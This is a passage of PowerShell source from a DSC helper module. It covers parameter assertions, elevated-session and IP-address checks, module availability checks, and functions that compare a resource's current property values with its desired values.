$Values.CurrentValue DifferenceObject = $Values.DesiredValue } $arrayCompare = Compare-Object @compareObjectParameters if ($null -ne $arrayCompare) { Write-Debug -Message $script:localizedData.ArrayDoesNotMatch $arrayCompare | ForEach-Object -Process { if ($_.SideIndicator -eq '=>') { Write-Debug -Message ( $script:localizedData.ArrayValueIsAbsent -f $_.InputObject ) } else { Write-Debug -Message ( $script:localizedData.ArrayValueIsPresent -f $_.InputObject ) } } $returnValue = $false } else { $returnValue = $true } } elseif ($Values.CurrentValue -ne $Values.DesiredValue) { $desiredType = $Values.DesiredValue.GetType() $returnValue = $false $supportedTypes = @( 'String' 'Int32' 'UInt32' 'Int16' 'UInt16' 'Single' 'Boolean' ) if ($desiredType.Name -notin $supportedTypes) { Write-Warning -Message ($script:localizedData.UnableToCompareType -f $desiredType.Name) } else { Write-Debug -Message ( $script:localizedData.PropertyValueOfTypeDoesNotMatch ` -f $desiredType.Name, $Values.CurrentValue, $Values.DesiredValue ) } } else { $returnValue = $true } return $returnValue } #EndRegion './Private/Test-DscPropertyState.ps1' 247 #Region './Public/Assert-BoundParameter.ps1' -1 <# .SYNOPSIS Throws an error if there is a bound parameter that exists in both the mutually exclusive lists. .DESCRIPTION This command asserts passed parameters. It takes a hashtable, normally `$PSBoundParameters`. There are two parameter sets for this command. >There is no built in logic to validate against parameters sets for DSC >so this can be used instead to validate the parameters that were set in >the configuration. **MutuallyExclusiveParameters** This parameter set takes two mutually exclusive lists of parameters. If any of the parameters in the first list are specified, none of the parameters in the second list can be specified. **RequiredParameter** Assert that required parameters has been specified, and throws an exception if not. Optionally it can be specified that parameters are only required if a specific parameter has been passed. .PARAMETER BoundParameterList The parameters that should be evaluated against the mutually exclusive lists MutuallyExclusiveList1 and MutuallyExclusiveList2. This parameter is normally set to the $PSBoundParameters variable. .PARAMETER MutuallyExclusiveList1 An array of parameter names that are not allowed to be bound at the same time as those in MutuallyExclusiveList2. .PARAMETER MutuallyExclusiveList2 An array of parameter names that are not allowed to be bound at the same time as those in MutuallyExclusiveList1. .PARAMETER RequiredParameter One or more parameter names that is required to have been specified. .PARAMETER IfParameterPresent One or more parameter names that if specified will trigger the evaluation. If neither of the parameter names has been specified the evaluation of required parameters are not made. .EXAMPLE $assertBoundParameterParameters = @{ BoundParameterList = $PSBoundParameters MutuallyExclusiveList1 = @( 'Parameter1' ) MutuallyExclusiveList2 = @( 'Parameter2' ) } Assert-BoundParameter @assertBoundParameterParameters This example throws an exception if `$PSBoundParameters` contains both the parameters `Parameter1` and `Parameter2`. .EXAMPLE Assert-BoundParameter -BoundParameterList $PSBoundParameters -RequiredParameter @('PBStartPortRange', 'PBEndPortRange') Throws an exception if either of the two parameters are not specified. .EXAMPLE Assert-BoundParameter -BoundParameterList $PSBoundParameters -RequiredParameter @('Property2', 'Property3') -IfParameterPresent @('Property1') Throws an exception if the parameter 'Property1' is specified and either of the required parameters are not. #> function Assert-BoundParameter { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [AllowEmptyCollection()] [System.Collections.Hashtable] $BoundParameterList, [Parameter(ParameterSetName = 'MutuallyExclusiveParameters', Mandatory = $true)] [System.String[]] $MutuallyExclusiveList1, [Parameter(ParameterSetName = 'MutuallyExclusiveParameters', Mandatory = $true)] [System.String[]] $MutuallyExclusiveList2, [Parameter(ParameterSetName = 'RequiredParameter', Mandatory = $true)] [System.String[]] $RequiredParameter, [Parameter(ParameterSetName = 'RequiredParameter')] [System.String[]] $IfParameterPresent ) switch ($PSCmdlet.ParameterSetName) { 'MutuallyExclusiveParameters' { $itemFoundFromList1 = $BoundParameterList.Keys.Where({ $_ -in $MutuallyExclusiveList1 }) $itemFoundFromList2 = $BoundParameterList.Keys.Where({ $_ -in $MutuallyExclusiveList2 }) if ($itemFoundFromList1.Count -gt 0 -and $itemFoundFromList2.Count -gt 0) { $errorMessage = ` $script:localizedData.ParameterUsageWrong ` -f ($MutuallyExclusiveList1 -join "','"), ($MutuallyExclusiveList2 -join "','") New-InvalidArgumentException -ArgumentName 'Parameters' -Message $errorMessage } break } 'RequiredParameter' { Assert-RequiredCommandParameter @PSBoundParameters break } } } #EndRegion './Public/Assert-BoundParameter.ps1' 127 #Region './Public/Assert-ElevatedUser.ps1' -1 <# .SYNOPSIS Assert that the user has elevated the PowerShell session. .DESCRIPTION Assert that the user has elevated the PowerShell session. The command will throw a statement-terminating error if the script is not run from an elevated session. .PARAMETER ErrorMessage The error message to assign to the exception. .EXAMPLE Assert-ElevatedUser Throws an exception if the user has not elevated the PowerShell session. .EXAMPLE Assert-ElevatedUser -ErrorMessage 'A custom error message to throw' Throws an exception if the user has not elevated the PowerShell session. .EXAMPLE `Assert-ElevatedUser -ErrorAction 'Stop'` This example stops the entire script if it is not run from an elevated PowerShell session. .OUTPUTS None. #> function Assert-ElevatedUser { [CmdletBinding()] param ( [Parameter()] [ValidateNotNullOrEmpty()] [System.String] $ErrorMessage = $script:localizedData.ElevatedUser_UserNotElevated ) $isElevated = $false if ($IsMacOS -or $IsLinux) { $isElevated = (id -u) -eq 0 } else { [Security.Principal.WindowsPrincipal] $user = [Security.Principal.WindowsIdentity]::GetCurrent() $isElevated = $user.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) } if (-not $isElevated) { $PSCmdlet.ThrowTerminatingError( [System.Management.Automation.ErrorRecord]::new( $ErrorMessage, 'UserNotElevated', [System.Management.Automation.ErrorCategory]::InvalidOperation, 'Command parameters' ) ) } } #EndRegion './Public/Assert-ElevatedUser.ps1' 67 #Region './Public/Assert-IPAddress.ps1' -1 <# .SYNOPSIS Asserts if the IP Address is valid and optionally validates the IP Address against an Address Family. .DESCRIPTION Checks the IP address so that it is valid and do not conflict with address family. If any problems are detected an exception will be thrown. .PARAMETER AddressFamily IP address family that the supplied Address should be in. Valid values are 'IPv4' or 'IPv6'. .PARAMETER Address Specifies an IPv4 or IPv6 address. .EXAMPLE Assert-IPAddress -Address '127.0.0.1' This will assert that the supplied address is a valid IPv4 address. If it is not an exception will be thrown. .EXAMPLE Assert-IPAddress -Address 'fe80:ab04:30F5:002b::1' This will assert that the supplied address is a valid IPv6 address. If it is not an exception will be thrown. .EXAMPLE Assert-IPAddress -Address 'fe80:ab04:30F5:002b::1' -AddressFamily 'IPv6' This will assert that address is valid and that it matches the supplied address family. If the supplied address family does not match the address an exception will be thrown. #> function Assert-IPAddress { [CmdletBinding()] param ( [Parameter()] [ValidateSet('IPv4', 'IPv6')] [System.String] $AddressFamily, [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Address ) [System.Net.IPAddress] $ipAddress = $null if (-not ([System.Net.IPAddress]::TryParse($Address, [ref] $ipAddress))) { New-InvalidArgumentException ` -Message ($script:localizedData.AddressFormatError -f $Address) ` -ArgumentName 'Address' } if ($AddressFamily) { switch ($AddressFamily) { 'IPv4' { if ($ipAddress.AddressFamily -ne [System.Net.Sockets.AddressFamily]::InterNetwork.ToString()) { New-InvalidArgumentException ` -Message ($script:localizedData.AddressIPv6MismatchError -f $Address, $AddressFamily) ` -ArgumentName 'AddressFamily' } } 'IPv6' { if ($ipAddress.AddressFamily -ne [System.Net.Sockets.AddressFamily]::InterNetworkV6.ToString()) { New-InvalidArgumentException ` -Message ($script:localizedData.AddressIPv4MismatchError -f $Address, $AddressFamily) ` -ArgumentName 'AddressFamily' } } } } } #EndRegion './Public/Assert-IPAddress.ps1' 87 #Region './Public/Assert-Module.ps1' -1 <# .SYNOPSIS Assert if the specific module is available to be imported and optionally import the module. .DESCRIPTION Assert if the specific module is available to be imported and optionally import the module. If the module is not available an exception will be thrown. See also `Test-ModuleExist`. .PARAMETER ModuleName Specifies the name of the module to assert. .PARAMETER ImportModule Specifies to import the module if it is asserted. .PARAMETER Force Specifies to forcibly import the module even if it is already in the session. This parameter is ignored unless parameter `ImportModule` is also used. .EXAMPLE Assert-Module -ModuleName 'DhcpServer' This asserts that the module DhcpServer is available on the system. If it is not an exception will be thrown. .EXAMPLE Assert-Module -ModuleName 'DhcpServer' -ImportModule This asserts that the module DhcpServer is available on the system and imports it. If the module is not available an exception will be thrown. .EXAMPLE Assert-Module -ModuleName 'DhcpServer' -ImportModule -Force This asserts that the module DhcpServer is available on the system and it will be forcibly imported into the session (even if it was already in the session). If the module is not available an exception will be thrown. #> function Assert-Module { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.String] $ModuleName, [Parameter()] [System.Management.Automation.SwitchParameter] $ImportModule, [Parameter()] [System.Management.Automation.SwitchParameter] $Force ) <# If the module is already in the session there is no need to use -ListAvailable. This is a fix for issue #66. #> if (-not (Get-Module -Name $ModuleName)) { $getModuleParameters = @{ Name = $ModuleName ListAvailable = $true } # Add skip edition check for PSCore. Issue #131 if ($PSVersionTable.PSVersion.Major -gt 5) { $getModuleParameters.SkipEditionCheck = $true } if (-not (Get-Module @getModuleParameters)) { $errorMessage = $script:localizedData.ModuleNotFound -f $ModuleName New-ObjectNotFoundException -Message $errorMessage } # Only import it here if $Force is not set, otherwise it will be imported below. if ($ImportModule -and -not $Force) { Import-Module -Name $ModuleName } } # Always import the module even if already in session. if ($ImportModule -and $Force) { Import-Module -Name $ModuleName -Force } } #EndRegion './Public/Assert-Module.ps1' 97 #Region './Public/Compare-DscParameterState.ps1' -1 <# .SYNOPSIS This method is used to compare current and desired values for any DSC resource. .DESCRIPTION This function compare the parameter status of DSC resource parameters against the current values present on the system, and return a hashtable with the metadata from the comparison. >[!NOTE] >The content of the function `Test-DscParameterState` has been extracted and now >`Test-DscParameterState` is just calling `Compare-DscParameterState`. >This function can be used in a DSC resource from the _Get_ function/method. .PARAMETER CurrentValues A hashtable with the current values on the system, obtained by e.g. Get-TargetResource. .PARAMETER DesiredValues The hashtable of desired values. For example $PSBoundParameters with the desired values. .PARAMETER Properties This is a list of properties in the desired values list should be checked. If this is empty then all values in DesiredValues are checked. .PARAMETER ExcludeProperties This is a list of which properties in the desired values list should be checked. If this is empty then all values in DesiredValues are checked. .PARAMETER TurnOffTypeChecking Indicates that the type of the parameter should not be checked. .PARAMETER ReverseCheck Indicates that a reverse check should be done. The current and desired state are swapped for another test. .PARAMETER SortArrayValues If the sorting of array values does not matter, values are sorted internally before doing the comparison. .PARAMETER IncludeInDesiredState Indicates that result adds the properties in the desired state. By default, this command returns only the properties not in desired state. .PARAMETER IncludeValue Indicates that result contains the ActualValue and ExpectedValue properties. .OUTPUTS System.Object[] .NOTES Returns an array containing a PSCustomObject with metadata for each property that was evaluated. Metadata Name | Type | Description --- | --- | --- Property | `[System.String]` | The name of the property that was evaluated InDesiredState | `[System.Boolean]` | Returns `$true` if the expected and actual value was equal. ExpectedType | `[System.String]` | Return the type of desired object. ActualType | `[System.String]` | Return the type of current object. ExpectedValue | `[System.PsObject]` | Return the value of expected object. ActualValue | `[System.PsObject]` | Return the value of current object. .EXAMPLE $currentValues = @{ String = 'This is a string' Int = 1 Bool = $true } $desiredValues = @{ String = 'This is a string' Int = 99 } Compare-DscParameterState -CurrentValues $currentValues -DesiredValues $desiredValues The function Compare-DscParameterState compare the value of each hashtable based on the keys present in $desiredValues hashtable. The result indicates that Int property is not in the desired state. No information about Bool property, because it is not in $desiredValues hashtable. .EXAMPLE $currentValues = @{ String = 'This is a string' Int = 1 Bool = $true } $desiredValues = @{ String = 'This is a string' Int = 99 Bool = $false } $excludeProperties = @('Bool') Compare-DscParameterState ` -CurrentValues $currentValues ` -DesiredValues $desiredValues ` -ExcludeProperties $ExcludeProperties The function Compare-DscParameterState compare the value of each hashtable based on the keys present in $desiredValues hashtable and without those in $excludeProperties. The result indicates that Int property is not in the desired state. No information about Bool property, because it is in $excludeProperties. .EXAMPLE $serviceParameters = @{ Name = $Name } $returnValue = Compare-DscParameterState ` -CurrentValues (Get-Service @serviceParameters) ` -DesiredValues $PSBoundParameters ` -Properties @( 'Name' 'Status' 'StartType' ) This compares the values in the current state against the desires state. The command Get-Service is called using just the required parameters to get the values in the current state. The parameter 'Properties' is used to specify the properties 'Name','Status' and 'StartType' for the comparison. #> function Compare-DscParameterState { [CmdletBinding()] [OutputType([System.Object[]])] param ( [Parameter(Mandatory = $true)] [System.Object] $CurrentValues, [Parameter(Mandatory = $true)] [System.Object] $DesiredValues, [Parameter()] [System.String[]] [Alias('ValuesToCheck')] $Properties, [Parameter()] [System.String[]] $ExcludeProperties, [Parameter()] [System.Management.Automation.SwitchParameter] $TurnOffTypeChecking, [Parameter()] [System.Management.Automation.SwitchParameter] $ReverseCheck, [Parameter()] [System.Management.Automation.SwitchParameter] $SortArrayValues, [Parameter()] [System.Management.Automation.SwitchParameter] $IncludeInDesiredState, [Parameter()] [System.Management.Automation.SwitchParameter] $IncludeValue ) $returnValue = @() #region ConvertCIm to Hashtable if ($CurrentValues -is [Microsoft.Management.Infrastructure.CimInstance] -or $CurrentValues -is [Microsoft.Management.Infrastructure.CimInstance[]]) { $CurrentValues = ConvertTo-HashTable -CimInstance $CurrentValues } if ($DesiredValues -is [Microsoft.Management.Infrastructure.CimInstance] -or $DesiredValues -is [Microsoft.Management.Infrastructure.CimInstance[]]) { $DesiredValues = ConvertTo-HashTable -CimInstance $DesiredValues } #endregion Endofconverion #region CheckType of object $types = 'System.Management.Automation.PSBoundParametersDictionary', 'System.Collections.Hashtable', 'Microsoft.Management.Infrastructure.CimInstance', 'System.Collections.Specialized.OrderedDictionary' if ($DesiredValues.GetType().FullName -notin $types) { New-InvalidArgumentException ` -Message ($script:localizedData.InvalidDesiredValuesError -f $DesiredValues.GetType().FullName) ` -ArgumentName 'DesiredValues' } if ($CurrentValues.GetType().FullName -notin $types) { New-InvalidArgumentException ` -Message ($script:localizedData.InvalidCurrentValuesError -f $CurrentValues.GetType().FullName) ` -ArgumentName 'CurrentValues' } #endregion checktype #region check if CimInstance and not have properties in parameters invoke exception if ($DesiredValues -is [Microsoft.Management.Infrastructure.CimInstance] -and -not $Properties) { New-InvalidArgumentException ` -Message $script:localizedData.InvalidPropertiesError ` -ArgumentName Properties } #endregion check cim and properties #Clean value if there are a common parameters provide from Test/Get-TargetResource parameter $desiredValuesClean = Remove-CommonParameter -Hashtable $DesiredValues #region generate keyList based on $Properties and $excludeProperties value if (-not $Properties) { $keyList = $desiredValuesClean.Keys } else { $keyList = $Properties } if ($ExcludeProperties) { $keyList = $keyList | Where-Object -FilterScript { $_ -notin $ExcludeProperties } } #endregion #region enumerate of each key in list foreach ($key in $keyList) { #generate default value $InDesiredStateTable = [ordered]@{ Property = $key InDesiredState = $true } $returnValue += $InDesiredStateTable #get value of each key $desiredValue = $desiredValuesClean.$key $currentValue = $CurrentValues.$key #Check if IncludeValue parameter is used. if ($IncludeValue) { $InDesiredStateTable['ExpectedValue'] = $desiredValue $InDesiredStateTable['ActualValue'] = $currentValue } #region convert to hashtable if value of key is CimInstance if ($desiredValue -is [Microsoft.Management.Infrastructure.CimInstance] -or $desiredValue -is [Microsoft.Management.Infrastructure.CimInstance[]]) { $desiredValue = ConvertTo-HashTable -CimInstance $desiredValue } if ($currentValue -is [Microsoft.Management.Infrastructure.CimInstance] -or $currentValue -is [Microsoft.Management.Infrastructure.CimInstance[]]) { $currentValue = ConvertTo-HashTable -CimInstance $currentValue } #endregion converttohashtable #region gettype of value to check if they are the same. if ($null -ne $desiredValue) { $desiredType = $desiredValue.GetType() } else { $desiredType = @{ Name = 'Unknown' } } $InDesiredStateTable['ExpectedType'] = $desiredType if ($null -ne $currentValue) { $currentType = $currentValue.GetType() } else { $currentType = @{ Name = 'Unknown' } } $InDesiredStateTable['ActualType'] = $currentType #endregion #region check if the desiredtype if a credential object. Only if the current type isn't unknown. if ($currentType.Name -ne 'Unknown' -and $desiredType.Name -eq 'PSCredential') { # This is a credential object. Compare only the user name if ($currentType.Name -eq 'PSCredential' -and $currentValue.UserName -eq $desiredValue.UserName) { Write-Verbose -Message ($script:localizedData.MatchPsCredentialUsernameMessage -f $currentValue.UserName, $desiredValue.UserName) continue # pass to the next key } elseif ($currentType.Name -ne 'string') { Write-Verbose -Message ($script:localizedData.NoMatchPsCredentialUsernameMessage -f $currentValue.UserName, $desiredValue.UserName) $InDesiredStateTable.InDesiredState = $false } # Assume the string is our username when the matching desired value is actually a credential if ($currentType.Name -eq 'string' -and $currentValue -eq $desiredValue.UserName) { Write-Verbose -Message ($script:localizedData.MatchPsCredentialUsernameMessage -f $currentValue, $desiredValue.UserName) continue # pass to the next key } else { Write-Verbose -Message ($script:localizedData.NoMatchPsCredentialUsernameMessage -f $currentValue, $desiredValue.UserName) $InDesiredStateTable.InDesiredState = $false } } #endregion test credential #region Test type of object. And if they're not InDesiredState, generate en exception if (-not $TurnOffTypeChecking) { if (($desiredType.Name -ne 'Unknown' -and $currentType.Name -ne 'Unknown') -and $desiredType.FullName -ne $currentType.FullName) { Write-Verbose -Message ($script:localizedData.NoMatchTypeMismatchMessage -f $key, $currentType.FullName, $desiredType.FullName) $InDesiredStateTable.InDesiredState = $false continue # pass to the next key } elseif ($desiredType.Name -eq 'Unknown' -and $desiredType.Name -ne $currentType.Name) { Write-Verbose -Message ($script:localizedData.NoMatchTypeMismatchMessage -f $key, $currentType.Name, $desiredType.Name) $InDesiredStateTable.InDesiredState = $false continue # pass to the next key } } #endregion TestType #region Check if the value of Current and desired state is the same but only if they are not an array if ($currentValue -eq $desiredValue -and -not $desiredType.IsArray) { Write-Verbose -Message ($script:localizedData.MatchValueMessage -f $desiredType.FullName, $key, $currentValue, $desiredValue) continue # pass to the next key } #endregion check same value #region Check if the DesiredValuesClean has the key and if it doesn't have, it's not necessary to check his value if ($desiredValuesClean.GetType().Name -in 'HashTable', 'PSBoundParametersDictionary', 'OrderedDictionary') { $checkDesiredValue = $desiredValuesClean.ContainsKey($key) } else { $checkDesiredValue = Test-DscObjectHasProperty -Object $desiredValuesClean -PropertyName $key } # if there no key, don't need to check if (-not $checkDesiredValue) { Write-Verbose -Message ($script:localizedData.MatchValueMessage -f $desiredType.FullName, $key, $currentValue, $desiredValue) continue # pass to the next key } #endregion #region Check if desired type is array, ifno Hashtable and currenttype hashtable to if ($desiredType.IsArray) { Write-Verbose -Message ($script:localizedData.TestDscParameterCompareMessage -f $key, $desiredType.FullName) # Check if the currentValues and desiredValue are empty array. if (-not $currentValue -and -not $desiredValue) { Write-Verbose -Message ($script:localizedData.MatchValueMessage -f $desiredType.FullName, $key, 'empty array', 'empty array') continue } elseif (-not $currentValue) { #If only currentvalue is empty, the configuration isn't compliant. Write-Verbose -Message ($script:localizedData.NoMatchValueMessage -f $desiredType.FullName, $key, $currentValue, $desiredValue) $InDesiredStateTable.InDesiredState = $false continue } elseif ($currentValue.Count -ne $desiredValue.Count) { #If there is a difference between the number of objects in arrays, this isn't compliant. Write-Verbose -Message ($script:localizedData.NoMatchValueDifferentCountMessage -f $desiredType.FullName, $key, $currentValue.Count, $desiredValue.Count) $InDesiredStateTable.InDesiredState = $false continue } else { $desiredArrayValues = $desiredValue $currentArrayValues = $currentValue # if the sortArrayValues parameter is using, sort value of array if ($SortArrayValues) { $desiredArrayValues = @($desiredArrayValues | Sort-Object) $currentArrayValues = @($currentArrayValues | Sort-Object) } <# for all object in collection, check their type.ConvertoString if they are script block. #> for ($i = 0; $i -lt $desiredArrayValues.Count; $i++) { if ($desiredArrayValues[$i]) { $desiredType = $desiredArrayValues[$i].GetType() } else { $desiredType = @{ Name = 'Unknown' } } if ($currentArrayValues[$i]) { $currentType = $currentArrayValues[$i].GetType() } else { $currentType = @{ Name = 'Unknown' } } if (-not $TurnOffTypeChecking) { if (($desiredType.Name -ne 'Unknown' -and $currentType.Name -ne 'Unknown') -and $desiredType.FullName -ne $currentType.FullName) { Write-Verbose -Message ($script:localizedData.NoMatchElementTypeMismatchMessage -f $key, $i, $currentType.FullName, $desiredType.FullName) $InDesiredStateTable.InDesiredState = $false continue } } <# Convert a scriptblock into a string as scriptblocks are not comparable if currentvalue is scriptblock and if desired value is string, we invoke the result of script block. Ifno, we convert to string. if Desired value #> $wasCurrentArrayValuesConverted = $false if ($currentArrayValues[$i] -is [scriptblock]) { $currentArrayValues[$i] = if ($desiredArrayValues[$i] -is [string]) { $currentArrayValues[$i] = $currentArrayValues[$i].Invoke() } else { $currentArrayValues[$i].ToString() } $wasCurrentArrayValuesConverted = $true } if ($desiredArrayValues[$i] -is [scriptblock]) { $desiredArrayValues[$i] = if ($currentArrayValues[$i] -is [string] -and -not $wasCurrentArrayValuesConverted) { $desiredArrayValues[$i].Invoke() } else { $desiredArrayValues[$i].ToString() } } if (($desiredType -eq [System.Collections.Hashtable] -or $desiredType -eq [System.Collections.Specialized.OrderedDictionary]) -and ($currentType -eq [System.Collections.Hashtable]-or $currentType -eq [System.Collections.Specialized.OrderedDictionary])) { $param = @{} + $PSBoundParameters $param.CurrentValues = $currentArrayValues[$i] $param.DesiredValues = $desiredArrayValues[$i] 'IncludeInDesiredState','IncludeValue','Properties','ReverseCheck' | ForEach-Object { if ($param.ContainsKey($_)) { $null = $param.Remove($_) } } if ($InDesiredStateTable.InDesiredState) { $InDesiredStateTable.InDesiredState = Test-DscParameterState @param } else { Test-DscParameterState @param | Out-Null } continue } if ($desiredArrayValues[$i] -ne $currentArrayValues[$i]) { Write-Verbose -Message ($script:localizedData.NoMatchElementValueMismatchMessage -f $i, $desiredType.FullName, $key, $currentArrayValues[$i], $desiredArrayValues[$i]) $InDesiredStateTable.InDesiredState = $false continue } else { Write-Verbose -Message ($script:localizedData.MatchElementValueMessage -f $i, $desiredType.FullName, $key, $currentArrayValues[$i], $desiredArrayValues[$i]) continue } } } } elseif (($desiredType -eq [System.Collections.Hashtable] -or $desiredType -eq [System.Collections.Specialized.OrderedDictionary]) -and ($currentType -eq [System.Collections.Hashtable]-or $currentType -eq [System.Collections.Specialized.OrderedDictionary])) { $param = @{} + $PSBoundParameters $param.CurrentValues = $currentValue $param.DesiredValues = $desiredValue 'IncludeInDesiredState','IncludeValue','Properties','ReverseCheck' | ForEach-Object { if ($param.ContainsKey($_)) { $null = $param.Remove($_) } } if ($InDesiredStateTable.InDesiredState) { <# if desiredvalue is an empty hashtable and not currentvalue, it's not necessery to compare them, it's not compliant. See issue 65 https://github.com/dsccommunity/DscResource.Common/issues/65 #> if ($desiredValue.Keys.Count -eq 0 -and $currentValue.Keys.Count -ne 0) { Write-Verbose -Message ($script:localizedData.NoMatchKeyMessage -f $desiredType.FullName, $key, $($currentValue.Keys -join ', ')) $InDesiredStateTable.InDesiredState = $false } else{ $InDesiredStateTable.InDesiredState = Test-DscParameterState @param } } else { $null = Test-DscParameterState @param } continue } else { #Convert a scriptblock into a string as scriptblocks are not comparable $wasCurrentValue = $false if ($currentValue -is [scriptblock]) { $currentValue = if ($desiredValue -is [string]) { $currentValue = $currentValue.Invoke() } else { $currentValue.ToString() } $wasCurrentValue = $true } if ($desiredValue -is [scriptblock]) { $desiredValue = if ($currentValue -is [string] -and -not $wasCurrentValue) { $desiredValue.Invoke() } else { $desiredValue.ToString() } } if ($desiredValue -ne $currentValue) { Write-Verbose -Message ($script:localizedData.NoMatchValueMessage -f $desiredType.FullName, $key, $currentValue, $desiredValue) $InDesiredStateTable.InDesiredState = $false } } #endregion check type } #endregion end of enumeration if ($ReverseCheck) { Write-Verbose -Message $script:localizedData.StartingReverseCheck $reverseCheckParameters = @{} + $PSBoundParameters $reverseCheckParameters['CurrentValues'] = $DesiredValues $reverseCheckParameters['DesiredValues'] = $CurrentValues $reverseCheckParameters['Properties'] = $keyList + $CurrentValues.Keys | Select-Object -Unique if ($ExcludeProperties) { $reverseCheckParameters['Properties'] = $reverseCheckParameters['Properties'] | Where-Object -FilterScript { $_ -notin $ExcludeProperties } } $null = $reverseCheckParameters.Remove('ReverseCheck') if ($returnValue) { $returnValue = Compare-DscParameterState @reverseCheckParameters } else { $null = Compare-DscParameterState @reverseCheckParameters } } # Remove in desired state value if IncludeDesirateState parameter is not use if (-not $IncludeInDesiredState) { [array]$returnValue = $returnValue.where({$_.InDesiredState -eq $false}) } #change verbose message if ($IncludeInDesiredState.IsPresent) { $returnValue.ForEach({ if ($_.InDesiredState) { $localizedString = $script:localizedData.PropertyInDesiredStateMessage } else { $localizedString = $script:localizedData.PropertyNotInDesiredStateMessage } Write-Verbose -Message ($localizedString -f $_.Property) }) } <# If Compare-DscParameterState is used in precedent step, don't need to convert it We use .foreach() method as we are sure that $returnValue is an array. #> [Array]$returnValue = @( $returnValue.foreach( { if ($_ -is [System.Collections.Hashtable]) { [pscustomobject]$_ } else { $_ } } ) ) return $returnValue } #EndRegion './Public/Compare-DscParameterState.ps1' 638 #Region './Public/Compare-ResourcePropertyState.ps1' -1 <# .SYNOPSIS Compare current and desired property values for any DSC resource and return a hashtable with the metadata from the comparison. .DESCRIPTION This function is used to compare current and desired property values for any DSC resource, and return a hashtable with the metadata from the comparison. This introduces another design pattern that is used to evaluate current and desired state in a DSC resource. This command is meant to be used in a DSC resource from both _Test_ and _Set_. The evaluation is made in _Set_ to make sure to only change the properties that are not in the desired state. Properties that are in the desired state should not be changed again. This design pattern also handles when the command `Invoke-DscResource` is called with the method `Set`, which with this design pattern will evaluate the properties correctly. >[!NOTE] >This design pattern is not widely used in the DSC resource modules in the >DSC Community, the only known use is in SqlServerDsc. This design pattern >can be viewed as deprecated, and should be replaced with the design pattern >that uses the command [`Compare-DscParameterState`](Compare-DscParameterState). See the other design patterns that uses the command [`Compare-DscParameterState`](Compare-DscParameterState) or [`Test-DscParameterState`](Test-DscParameterState). .PARAMETER CurrentValues The current values that should be compared to to desired values. Normally the values returned from Get-TargetResource. .PARAMETER DesiredValues The values set in the configuration and is provided in the call to the functions *-TargetResource, and that will be compared against current values. Normally set to $PSBoundParameters. .PARAMETER Properties An array of property names, from the keys provided in DesiredValues, that will be compared. If this parameter is left out, all the keys in the DesiredValues will be compared. .PARAMETER IgnoreProperties An array of property names, from the keys provided in DesiredValues, that will be ignored in the comparison. If this parameter is left out, all the keys in the DesiredValues will be compared. .PARAMETER CimInstanceKeyProperties A hashtable containing a key for each property that contain a collection of CimInstances and the value is an array of strings of the CimInstance key properties. @{ Permission = @('State') } .OUTPUTS System.Collections.Hashtable[] .NOTES Returns an array containing a hashtable with metadata for each property that was evaluated. Metadata Name | Type | Description --- | --- | --- ParameterName | `[System.String]` | The name of the property that was evaluated Expected | The type of the property | The desired value for the property Actual | The type of the property | The actual current value for the property InDesiredState | `[System.Boolean]` | Returns `$true` if the expected and actual value was equal. .EXAMPLE $compareTargetResourceStateParameters = @{ CurrentValues = (Get-TargetResource $PSBoundParameters) DesiredValues = $PSBoundParameters } $propertyState = Compare-ResourcePropertyState @compareTargetResourceStateParameters $propertiesNotInDesiredState = $propertyState.Where({ -not $_.InDesiredState }) This example calls Compare-ResourcePropertyState with the current state and the desired state and returns a hashtable array of all the properties that was evaluated based on the properties pass in the parameter DesiredValues. Finally it sets a parameter `$propertiesNotInDesiredState` that contain an array with all properties not in desired state. .EXAMPLE $compareTargetResourceStateParameters = @{ CurrentValues = (Get-TargetResource $PSBoundParameters) DesiredValues = $PSBoundParameters Properties = @( 'Property1' ) } $propertyState = Compare-ResourcePropertyState @compareTargetResourceStateParameters $false -in $propertyState.InDesiredState This example calls Compare-ResourcePropertyState with the current state and the desired state and returns a hashtable array with just the property `Property1` as that was the only property that was to be evaluated. Finally it checks if `$false` is present in the array property `InDesiredState`. .EXAMPLE $compareTargetResourceStateParameters = @{ CurrentValues = (Get-TargetResource $PSBoundParameters) DesiredValues = $PSBoundParameters IgnoreProperties = @( 'Property1' ) } $propertyState = Compare-ResourcePropertyState @compareTargetResourceStateParameters This example calls Compare-ResourcePropertyState with the current state and the desired state and returns a hashtable array of all the properties except the property `Property1`. .EXAMPLE $compareTargetResourceStateParameters = @{ CurrentValues = (Get-TargetResource $PSBoundParameters) DesiredValues = $PSBoundParameters CimInstanceKeyProperties = @{ ResourceProperty1 = @( 'CimProperty1' ) } } $propertyState = Compare-ResourcePropertyState @compareTargetResourceStateParameters This example calls Compare-ResourcePropertyState with the current state and the desired state and have a property `ResourceProperty1` who's value is an array of embedded CIM instances. The key property for the CIM instances are `CimProperty1`. The CIM instance key property `CimProperty1` is used to get the unique CIM instance object to compare against from both the current state and the desired state. #> function Compare-ResourcePropertyState { [CmdletBinding()] [OutputType([System.Collections.Hashtable[]])] param ( [Parameter(Mandatory = $true)] [System.Collections.Hashtable] $CurrentValues, [Parameter(Mandatory = $true)] [System.Collections.Hashtable] $DesiredValues, [Parameter()] [ValidateNotNullOrEmpty()] [System.String[]] $Properties, [Parameter()] [ValidateNotNullOrEmpty()] [System.String[]] $IgnoreProperties, [Parameter()] [ValidateNotNull()] [System.Collections.Hashtable] $CimInstanceKeyProperties = @{} ) if ($PSBoundParameters.ContainsKey('Properties')) { # Filter out the parameters (keys) not specified in Properties $desiredValuesToRemove = $DesiredValues.Keys | Where-Object -FilterScript { $_ -notin $Properties } $desiredValuesToRemove | ForEach-Object -Process { $DesiredValues.Remove($_) } } else { <# Remove any common parameters that might be part of DesiredValues, if it $PSBoundParameters was used to pass the desired values. #> $commonParametersToRemove = $DesiredValues.Keys | Where-Object -FilterScript { $_ -in [System.Management.Automation.PSCmdlet]::CommonParameters ` -or $_ -in [System.Management.Automation.PSCmdlet]::OptionalCommonParameters } $commonParametersToRemove | ForEach-Object -Process { $DesiredValues.Remove($_) } } # Remove any properties that should be ignored. if ($PSBoundParameters.ContainsKey('IgnoreProperties')) { $IgnoreProperties | ForEach-Object -Process { if ($DesiredValues.ContainsKey($_)) { $DesiredValues.Remove($_) } } } $compareTargetResourceStateReturnValue = @() foreach ($parameterName in $DesiredValues.Keys) { Write-Debug -Message ($script:localizedData.EvaluatePropertyState -f $parameterName) $parameterState 